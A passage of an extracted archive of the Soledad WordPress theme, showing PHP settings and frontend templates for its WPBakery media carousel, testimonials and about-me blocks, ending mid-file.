	'term_hcolor'        => [ '{{WRAPPER}} a.pctmp-term-item:hover' => 'color:{{VALUE}}' ],
	'term_bgcolor'       => [ '{{WRAPPER}} .pctmp-term-item' => 'background-color:{{VALUE}}' ],
	'term_bghcolor'      => [ '{{WRAPPER}} a.pctmp-term-item:hover' => 'background-color:{{VALUE}}' ],
	'term_bcolor'        => [ '{{WRAPPER}} .pctmp-term-item' => 'border-color:{{VALUE}}' ],
	'term_bhcolor'       => [ '{{WRAPPER}} a.pctmp-term-item:hover' => 'border-color:{{VALUE}}' ],
	'term_border_radius' => [ '{{WRAPPER}} .pctmp-term-item' => 'border-radius: {{VALUE}}px;' ],
];
penci_wpbakery_el_extract_css( $css, $settings, '#' . $block_id );
PK     0w\    2  js_composer/shortcodes/media_carousel/settings.phpnu [        <?php

$group = 'Addtional Options';
vc_map( array(
	'base'          => 'penci_media_carousel',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/media_carousel/frontend.php',
	'weight'        => 700,
	'as_parent'     => array( 'except' => 'penci_media_carousel' ),
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Advanced Carousel', 'soledad' ),
	'description'   => __( 'Media Advanced Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array(
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Gap', 'penci-framework' ),
			'param_name'       => 'slides_item_gap',
			'class'            => '',
			'value'            => 10,
			'min'              => 1,
			'max'              => 100,
			'step'             => 1,
			'edit_field_class' => 'vc_col-sm-3',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Items display on Desktop', 'penci-framework' ),
			'param_name'       => 'limit_desk',
			'class'            => '',
			'value'            => 3,
			'min'              => 1,
			'max'              => 25,
			'step'             => 1,
			'edit_field_class' => 'vc_col-sm-3',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Items display on Tablet', 'penci-framework' ),
			'param_name'       => 'limit_tab',
			'class'            => '',
			'value'            => 2,
			'min'              => 1,
			'max'              => 25,
			'step'             => 1,
			'edit_field_class' => 'vc_col-sm-3',
		),
		array(
			'type'             => 'penci_only_number',
			'heading'          => esc_html__( 'Items display on Mobile', 'penci-framework' ),
			'param_name'       => 'limit_mobile',
			'class'            => '',
			'value'            => 1,
			'min'              => 1,
			'max'              => 25,
			'step'             => 1,
			'edit_field_class' => 'vc_col-sm-3',
		),
		// Slider
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Autoplay', 'soledad' ),
			'param_name' => 'autoplay',
			'value'      => array( esc_html__( 'Yes', 'soledad' ) => 'yes' ),
			'std'        => 'no',
			'group'      => $group,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Slider Loop', 'soledad' ),
			'param_name' => 'loop',
			'value'      => array( esc_html__( 'Yes', 'soledad' ) => 'yes' ),
			'std'        => 'no',
			'group'      => $group,
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'auto_time',
			'heading'    => esc_html__( 'Slider Auto Time (at x seconds)', 'soledad' ),
			'value'      => 4000,
			'group'      => $group,
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'speed',
			'heading'    => esc_html__( 'Slider Speed (at x seconds)', 'soledad' ),
			'value'      => 800,
			'group'      => $group,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Show next/prev buttons', 'soledad' ),
			'param_name' => 'shownav',
			'value'      => array( esc_html__( 'Yes', 'soledad' ) => 'yes' ),
			'std'        => 'no',
			'group'      => $group,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => esc_html__( 'Show dots navigation', 'soledad' ),
			'param_name' => 'showdots',
			'value'      => 'no',
			'group'      => $group,
		)
	),
	'js_view'       => 'VcColumnView'
) );
PK     0w\x:.  .  2  js_composer/shortcodes/media_carousel/frontend.phpnu [        <?php
$output = $el_class = $css_animation = $css = '';
$atts   = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-media-carousels';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'media-carousels' );


$data_slider = 'yes' == $atts['showdots'] ? ' data-dots="true"' : '';
$data_slider .= ! 'yes' == $atts['shownav'] ? ' data-nav="true"' : '';
$data_slider .= ! 'yes' == $atts['loop'] ? ' data-loop="true"' : '';
$data_slider .= ' data-auto="' . ( 'yes' == $atts['autoplay'] ? 'true' : 'false' ) . '"';
$data_slider .= $atts['auto_time'] ? ' data-autotime="' . $atts['auto_time'] . '"' : '';
$data_slider .= $atts['speed'] ? ' data-speed="' . $atts['speed'] . '"' : '';

$data_slider .= ' data-margin="' . ( isset( $atts['slides_item_gap'] ) && $atts['slides_item_gap'] ? $atts['slides_item_gap'] : '10' ) . '"';
$data_slider .= ' data-item="' . ( isset( $atts['limit_desk'] ) && $atts['limit_desk'] ? $atts['limit_desk'] : '3' ) . '"';
$data_slider .= ' data-desktop="' . ( isset( $atts['limit_desk'] ) && $atts['limit_desk'] ? $atts['limit_desk'] : '3' ) . '" ';
$data_slider .= ' data-tablet="' . ( isset( $atts['limit_tab'] ) && $atts['limit_tab'] ? $atts['limit_tab'] : '2' ) . '"';
$data_slider .= ' data-tabsmall="' . ( isset( $atts['limit_tab'] ) && $atts['limit_tab'] ? $atts['limit_tab'] : '2' ) . '"';
$data_slider .= ' data-mobile="' . ( isset( $atts['limit_mobile'] ) && $atts['limit_mobile'] ? $atts['limit_mobile'] : '1' ) . '"';
?>
<div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
	<div class="penci-block_content swiper penci-owl-carousel penci-owl-carousel-slider swiper" <?php echo( $data_slider ); ?>>
		<div class="swiper-wrapper">
		<?php echo do_shortcode( $content ); ?>
		</div>
	</div>
</div>
PK     0w\8  8  0  js_composer/shortcodes/testimonails/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_testimonails',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/testimonails/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Testimonails', 'soledad' ),
	'description'   => __( 'Testimonails Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge( array(
		// Design option
		array(
			'type'             => 'textfield',
			'param_name'       => 'design_heading_settings',
			'heading'          => esc_html__( 'General Options', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Tyle', 'soledad' ),
			'param_name' => 'testitype',
			'std'        => 'crs',
			'value'      => array(
				esc_html__( 'Slider', 'soledad' ) => 'crs',
				esc_html__( 'Grid', 'soledad' )   => 'grid',
			),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Design style', 'soledad' ),
			'param_name' => 'style',
			'std'        => 's1',
			'value'      => array(
				esc_html__( 'Style 1', 'soledad' ) => 's1',
				esc_html__( 'Style 2', 'soledad' ) => 's2',
				esc_html__( 'Style 3', 'soledad' ) => 's3',
				esc_html__( 'Style 4', 'soledad' ) => 's4',
				esc_html__( 'Style 5', 'soledad' ) => 's5',
			),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Image Position', 'soledad' ),
			'param_name' => 'imagepos',
			'std'        => 'top',
			'value'      => array(
				esc_html__( 'Top', 'soledad' )   => 'top',
				esc_html__( 'Left', 'soledad' )  => 'left',
				esc_html__( 'Right', 'soledad' ) => 'right',
			),
			'dependency' => array( 'element' => 'style', 'value' => array( 's4' ) ),
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Columns', 'soledad' ),
			'param_name' => 'columns',
			'value'      => array(
				1 => 1,
				2 => 2,
				3 => 3,
				4 => 4,
				5 => 5,
				6 => 6,
			),
			'std'        => 2
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Tablet Columns', 'soledad' ),
			'param_name' => 'tcolumns',
			'value'      => array(
				1 => 1,
				2 => 2,
				3 => 3,
				4 => 4,
				5 => 5,
				6 => 6,
			),
			'std'        => 2
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Columns Gap', 'soledad' ),
			'param_name' => 'column_gap',
			'value'      => 30
		),
		array(
			'type'       => 'penci_only_number',
			'heading'    => __( 'Row Gap', 'soledad' ),
			'param_name' => 'row_gap',
			'value'      => 30
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Mobile Columns', 'soledad' ),
			'param_name' => 'mcolumns',
			'value'      => array(
				1 => 1,
				2 => 2,
				3 => 3,
				4 => 4,
				5 => 5,
				6 => 6,
			),
			'std'        => 2
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'p_name_marbottom',
			'heading'          => __( 'Name Margin Top', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'p_company_marbottom',
			'heading'          => __( 'Company/Position Margin Top', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'p_rating_marbottom',
			'heading'          => __( 'Rating Margin Top', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'p_desc_marbottom',
			'heading'          => __( 'Description Margin Top', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'p_desc_padding',
			'heading'          => __( 'Description Padding', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		// Slider option
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_slider_settings',
			'heading'          => esc_html__( 'Slider options', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => __( 'Slides Per View', 'soledad' ),
			'param_name' => 'slider_item',
			'value'      => array(
				1 => 1,
				2 => 2,
				3 => 3,
			),
			'std'        => 1
		),

		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Autoplay', 'soledad' ),
			'param_name'  => 'autoplay',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Slider Loop', 'soledad' ),
			'param_name'  => 'loop',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'auto_time',
			'heading'    => esc_html__( 'Slider Auto Time (at x seconds)', 'soledad' ),
			'value'      => 4000,
		),
		array(
			'type'       => 'textfield',
			'param_name' => 'speed',
			'heading'    => esc_html__( 'Slider Speed (at x seconds)', 'soledad' ),
			'value'      => 800,
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Show next/prev buttons', 'soledad' ),
			'param_name'  => 'shownav',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => esc_html__( 'Show dots navigation', 'soledad' ),
			'param_name'  => 'showdots',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
		),
		array(
			'type'       => 'param_group',
			'heading'    => '',
			'param_name' => 'testimonails',
			'group'      => 'Testimonials',
			'value'      => urlencode( json_encode( array(
				array(
					'testi_name'    => 'Testimonails 1',
					'testi_desc'    => 'I am text block. Click edit button to change this text.',
					'testi_company' => 'Company/Position',
					'testi_link'    => '#'
				),
				array(
					'testi_name'    => 'Testimonails 2',
					'testi_desc'    => 'I am text block. Click edit button to change this text.',
					'testi_company' => 'Company/Position',
					'testi_link'    => '#'
				),
				array(
					'testi_name'    => 'Testimonails 3',
					'testi_desc'    => 'I am text block. Click edit button to change this text.',
					'testi_company' => 'Company/Position',
					'testi_link'    => '#'
				)
			) ) ),
			'params'     => array(
				array(
					'type'        => 'textfield',
					'heading'     => __( 'Name', 'soledad' ),
					'param_name'  => 'testi_name',
					'admin_label' => true,
					'description' => __( 'Insert the name of the person.', 'soledad' ),
				),
				array(
					'type'        => 'attach_image',
					'heading'     => __( 'Custom Avatar', 'soledad' ),
					'param_name'  => 'testi_image',
					'value'       => '',
					'description' => __( 'Upload a custom avatar image. Recommended 70×70 pixels', 'soledad' ),
				),
				array(
					'type'        => 'textfield',
					'heading'     => __( 'Company/Position', 'soledad' ),
					'param_name'  => 'testi_company',
					'description' => __( 'Insert the name of the company.', 'soledad' ),
				),
				array(
					'type'        => 'textarea',
					'heading'     => __( 'Description', 'soledad' ),
					'param_name'  => 'testi_desc',
					'description' => __( 'Add the testimonial description..', 'soledad' ),
				),
				array(
					'type'       => 'dropdown',
					'heading'    => __( 'Rating', 'soledad' ),
					'param_name' => 'testi_rating',
					'value'      => array(
						1 => 1,
						2 => 2,
						3 => 3,
						4 => 4,
						5 => 5
					),
					'std'        => 5,
					'dependency' => array( 'element' => 'style', 'value' => array( 's3' ) ),
				),
				array(
					'type'        => 'textfield',
					'heading'     => __( 'Link', 'soledad' ),
					'param_name'  => 'testi_link',
					'description' => __( 'Add the url the company name will link to', 'soledad' ),
				)
			),
		),
	), array(
		// Icon typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_icon_settings',
			'heading'          => esc_html__( 'Icon Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Icon Block Quote Color', 'soledad' ),
			'param_name' => 'icon_quote_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Icon Block Quote Background Color', 'soledad' ),
			'param_name' => 'icon_quote_bgcolor',
			'group'      => $group_color,
		),
		// Name color
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_name_settings',
			'heading'          => esc_html__( 'Name Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Name Color', 'soledad' ),
			'param_name' => 'name_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'name_size',
			'heading'    => __( 'Font Size for Position', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Custom Font Family for Name', 'soledad' ),
			'param_name'  => 'use_name_typo',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
			'group'       => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'name_typo',
			'value'      => '',
			'group'      => $group_color,
			'dependency' => array( 'element' => 'use_name_typo', 'value' => 'yes' ),
		),
		// Company/Position Colors
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_pos_settings',
			'heading'          => esc_html__( 'Company/Position Color', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Company/Position Color', 'soledad' ),
			'param_name' => 'company_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'company_size',
			'heading'    => __( 'Font Size for Company/Position', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family for Company/Position', 'soledad' ),
			'param_name' => 'use_company_typo',
			'default'          => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'company_typo',
			'value'      => '',
			'group'      => $group_color,
			'dependency' => array( 'element' => 'use_company_typo', 'value' => 'yes' ),
		),
		// Description Colors
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_desc_settings',
			'heading'          => esc_html__( 'Description Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Description Color', 'soledad' ),
			'param_name' => 'desc_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'desc_size',
			'heading'    => __( 'Font Size for Description', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_switch',
			'heading'    => __( 'Custom Font Family for Description', 'soledad' ),
			'param_name' => 'use_desc_typo',
			'default'          => 'no',
			'std'              => 'no',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => 'desc_typo',
			'value'      => '',
			'group'      => $group_color,
			'dependency' => array( 'element' => 'use_desc_typo', 'value' => 'yes' ),
		),
		// Ratting Colors
		array(
			'type'             => 'textfield',
			'param_name'       => 'heading_rating_settings',
			'heading'          => esc_html__( 'Description Colors', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Rating Color', 'soledad' ),
			'param_name' => 'rating_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'rating_size',
			'heading'    => __( 'Font Size for Rating', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),

	), Penci_Vc_Params_Helper::extra_params() )
) );
PK     0w\-      0  js_composer/shortcodes/testimonails/frontend.phpnu [        <?php
$output = $penci_block_width = $el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$testimonails = (array) vc_param_group_parse_atts( $atts['testimonails'] );

if ( ! $testimonails ) {
	return;
}
$class_to_filter = vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-testimonails';
$css_class .= ' penci-testi-' . $atts['style'];
if ( 's4' == $atts['style'] && $atts['imagepos'] ) {
	$css_class .= ' pcimgpos-' . $atts['imagepos'];
}

$data_slider         = '';
$inner_wrapper_class = 'penci-block_content pcsl-inner penci-clearfix';
$inner_wrapper_class .= ' pcsl-' . $atts['testitype'];
if ( 'crs' == $atts['testitype'] ) {
	$inner_wrapper_class .= ' penci-owl-carousel penci-owl-carousel-slider swiper';
}

$inner_wrapper_class .= ' pcsl-col-' . $atts['columns'];
$inner_wrapper_class .= ' pcsl-tabcol-' . $atts['tcolumns'];
$inner_wrapper_class .= ' pcsl-mobcol-' . $atts['mcolumns'];

$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$block_id  = Penci_Vc_Helper::get_unique_id_block( 'testimonails' );
$item_class = 'normal-item';
if ( 'crs' == $atts['testitype'] ) {
	$data_slider = 'yes' == $atts['showdots'] ? ' data-dots="true"' : '';
	$data_slider .= 'yes' == $atts['shownav'] ? ' data-nav="true"' : '';
	$data_slider .= 'yes' == $atts['loop'] ? ' data-loop="true"' : '';
	$data_slider .= 'data-auto="' . ( 'yes' == $atts['autoplay'] ? 'true' : 'false' ) . '"';
	$data_slider .= 'data-autotime="' . ( $atts['auto_time'] ? intval( $atts['auto_time'] ) : '4000' ) . '"';
	$data_slider .= 'data-speed="' . ( $atts['speed'] ? intval( $atts['speed'] ) : '800' ) . '"';
	$data_slider .= ' data-desktop="' . ( $atts['slider_item'] ? $atts['slider_item'] : 1 ) . '"';
	$data_slider .= ' data-item="' . ( $atts['slider_item'] ? $atts['slider_item'] : 1 ) . '"';
}
?>
    <div id="<?php echo esc_attr( $block_id ); ?>" class="<?php echo esc_attr( $css_class ); ?>">
        <div class="<?php echo $inner_wrapper_class; ?>" <?php echo $data_slider; ?>>
			<?php
			if ( 'crs' == $atts['testitype'] ) {
				echo '<div class="swiper-wrapper">';
			}
			foreach ( (array) $testimonails as $_testi ) {
				$_testi_image   = isset( $_testi['testi_image'] ) ? $_testi['testi_image'] : '';
				$_testi_name    = isset( $_testi['testi_name'] ) ? $_testi['testi_name'] : '';
				$_testi_company = isset( $_testi['testi_company'] ) ? $_testi['testi_company'] : '';
				$_testi_desc    = isset( $_testi['testi_desc'] ) ? $_testi['testi_desc'] : '';
				$_testi_link    = isset( $_testi['testi_link'] ) ? $_testi['testi_link'] : '';
				$_testi_rating  = isset( $_testi['testi_rating'] ) ? $_testi['testi_rating'] : '';

				if ( $_testi_name || $_testi_company || $_testi_desc ) {
					if ( 'crs' == $atts['testitype'] ) {
						echo '<div class="swiper-slide">';
					}
					?>
                    <div class="pcsl-item penci-testimonail <?php echo $item_class;?>">
						<?php

						if ( 's2' == $atts['style'] ) {
							if ( $_testi_desc ) {
								echo '<div class="penci-testi-blockquote">';
								echo '<div class="penci-testi-bq-inner"><span class="penci-testi-bq-icon"></span><span>' . $_testi_desc . '</span></div>';

								if ( $_testi_rating ) {
									$rating_item = '';
									for ( $i = 1; $i <= $_testi_rating; $i ++ ) {
										$rating_item .= penci_icon_by_ver( 'fas fa-star' );
									}

									if ( $rating_item ) {
										echo '<div class="penci-testi-rating">' . $rating_item . '</div>';
									}
								}

								echo '</div>';
							}


						} else {
							if ( $_testi_desc ) {
								echo '<div class="penci-testi-blockquote"><div class="penci-testi-bq-inner"><span class="penci-testi-bq-icon"></span><span>' . $_testi_desc . '</span></div></div>';
							}

							if ( $_testi_rating ) {
								$rating_item = '';
								for ( $i = 1; $i <= $_testi_rating; $i ++ ) {
									$rating_item .= penci_icon_by_ver( 'fas fa-star' );
								}

								if ( $rating_item ) {
									echo '<div class="penci-testi-rating">' . $rating_item . '</div>';
								}
							}
						}


						$url_img_item = wp_get_attachment_url( $_testi_image );
						if ( $url_img_item ) {
							$thumbnailsize = penci_get_image_size_url( $url_img_item, 'thumbnail' );
							echo '<div class="penci-testi-avatar">';
							echo '<img src="' . esc_url( $thumbnailsize ) . '" alt="' . esc_attr( $_testi_name ) . '"/>';
							echo '</div>';
						}

						echo '<h3 class="penci-testi-name">' . $_testi_name . '</h3>';
						echo '<div class="penci-testi-company">' . $_testi_company . '</div>';


						?>
                    </div>
					<?php
				}

				if ( 'crs' == $atts['testitype'] ) {
					echo '</div>';
				}

			}
			if ( 'crs' == $atts['testitype'] ) {
				echo '</div>';
			}
			?>
        </div>
    </div>
<?php

$id_testimonails = '#' . $block_id;
$id_testimonails2 = 'body:not(.pcdm-enable) #' . $block_id;
$css_custom      = Penci_Vc_Helper::get_heading_block_css( $id_testimonails, $atts );

if ( $atts['p_name_marbottom'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_testimonails . ' .penci-testi-name{ margin-bottom:{{VALUE}}px }', $atts['p_name_marbottom'] );
}
if ( $atts['p_company_marbottom'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_testimonails . ' .penci-testi-company{ margin-bottom:{{VALUE}}px }', $atts['p_company_marbottom'] );
}
if ( $atts['p_rating_marbottom'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_testimonails . ' .penci-testi-rating{ margin-bottom:{{VALUE}}px }', $atts['p_rating_marbottom'] );
}
if ( $atts['p_desc_marbottom'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_testimonails . ' .penci-testi-blockquote{ margin-bottom:{{VALUE}}px }', $atts['p_desc_marbottom'] );
}
if ( $atts['p_desc_padding'] ) {
	$css_custom .= penci_extract_md_responsive_fsize( $id_testimonails . ' .penci-testi-blockquote{ margin-bottom:{{VALUE}}px}', $atts['p_desc_padding'] );
}


// Icon
if ( $atts['icon_quote_color'] ) {
	$css_custom .= $id_testimonails2 . '.penci-testi-s1 .penci-testimonail .penci-testi-bq-icon:before{ color:' . esc_attr( $atts['icon_quote_color'] ) . ' }';
}
if ( $atts['icon_quote_bgcolor'] ) {
	$css_custom .= $id_testimonails2 . '.penci-testi-s1 .penci-testimonail .penci-testi-bq-icon:before{ background-color:' . esc_attr( $atts['icon_quote_bgcolor'] ) . ' }';
}

// Name
if ( $atts['name_color'] ) {
	$css_custom .= $id_testimonails2 . ' .penci-testi-name{ color:' . esc_attr( $atts['name_color'] ) . '; }';
}
if ( 'yes' == $atts['use_name_typo'] ) {
	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['name_size'],
		'font_style' => $atts['name_typo'],
		'template'   => $id_testimonails . ' .penci-testi-name{ %s }',
	) );
}

// Position
if ( $atts['company_color'] ) {
	$css_custom .= $id_testimonails2 . ' .penci-testi-company{ color:' . esc_attr( $atts['name_color'] ) . '; }';
}
if ( 'yes' == $atts['use_company_typo'] ) {
	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['company_size'],
		'font_style' => $atts['company_typo'],
		'template'   => $id_testimonails . ' .penci-testi-company{ %s }',
	) );
}

// Description
if ( $atts['desc_color'] ) {
	$css_custom .= $id_testimonails2 . '.penci-testi-s1 .penci-testimonail .penci-testi-blockquote{ color:' . esc_attr( $atts['desc_color'] ) . '; }';
}
if ( $atts['column_gap'] ) {
	$css_custom .= $id_testimonails . '.penci-testimonails{ --pcsl-hgap:' . esc_attr( $atts['column_gap'] ) . 'px; }';
}
if ( $atts['row_gap'] ) {
	$css_custom .= $id_testimonails . '.penci-testimonails{ --pcsl-bgap:' . esc_attr( $atts['row_gap'] ) . 'px; }';
}
if ( 'yes' == $atts['use_desc_typo'] ) {
	$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
		'font_size'  => $atts['desc_size'],
		'font_style' => $atts['desc_typo'],
		'template'   => $id_testimonails . '.penci-testi-s1 .penci-testimonail .penci-testi-blockquote{ %s }',
	) );
}

if ( $responsive_spacing ) {
	$css_custom .= penci_extract_spacing_style( $id_testimonails, $responsive_spacing );
}

if ( $css_custom ) {
	echo '<style>';
	echo $css_custom;
	echo '</style>';
}
PK     0w\U  U  ,  js_composer/shortcodes/about_me/settings.phpnu [        <?php
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => 'penci_about_me',
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name('Soledad'),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/about_me/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name('Penci').' '.esc_html__( 'Widget About Me', 'soledad' ),
	'description'   => __( 'About Me Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array_merge(
		array(
			array(
				'type'        => 'attach_image',
				'heading'     => __( 'About Image', 'soledad' ),
				'param_name'  => 'image',
				'value'       => '',
				'description' => __( 'Select image from media library.', 'soledad' ),
				'admin_label' => true,
			),
			array(
				'type'        => 'textfield',
				'heading'     => __( 'About Image size', 'soledad' ),
				'param_name'  => 'thumbnail_size',
				'std'         => 'full',
				'description' => __( 'Enter image size (Example: "thumbnail", "medium", "large", "full" or other sizes defined by theme). Alternatively enter size in pixels (Example: 200x100 (Width x Height)). Leave parameter empty to use "thumbnail" by default.', 'soledad' ),
			),
			array(
				'type'        => 'href',
				'heading'     => __( 'Add Link for About Image', 'soledad' ),
				'param_name'  => 'link',
				'description' => __( 'If you want to clickable on the about me image link to other page, put the link here. Include http:// or https:// on the link', 'soledad' )
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => __( ' Open in new window', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'param_name' => 'link_external'
			),
			array(
				'type'       => 'penci_switch',
				'heading'    => __( 'Add nofollow', 'soledad' ),
				'true_state'       => 'yes',
				'false_state'      => 'no',
				'default'          => 'no',
				'std'              => 'no',
				'param_name' => 'link_nofollow'
			),
			array(
				'type'        => 'textfield',
				'heading'     => esc_html__( 'Heading Text:', 'soledad' ),
				'param_name'  => 'about_us_heading',
				'value'       => '',
				'admin_label' => true,
			),
			array(
				'type'       => 'textarea_html',
				'holder'     => 'div',
				'heading'    => __( 'About us text: ( you can use HTML here )', 'soledad' ),
				'param_name' => 'content',
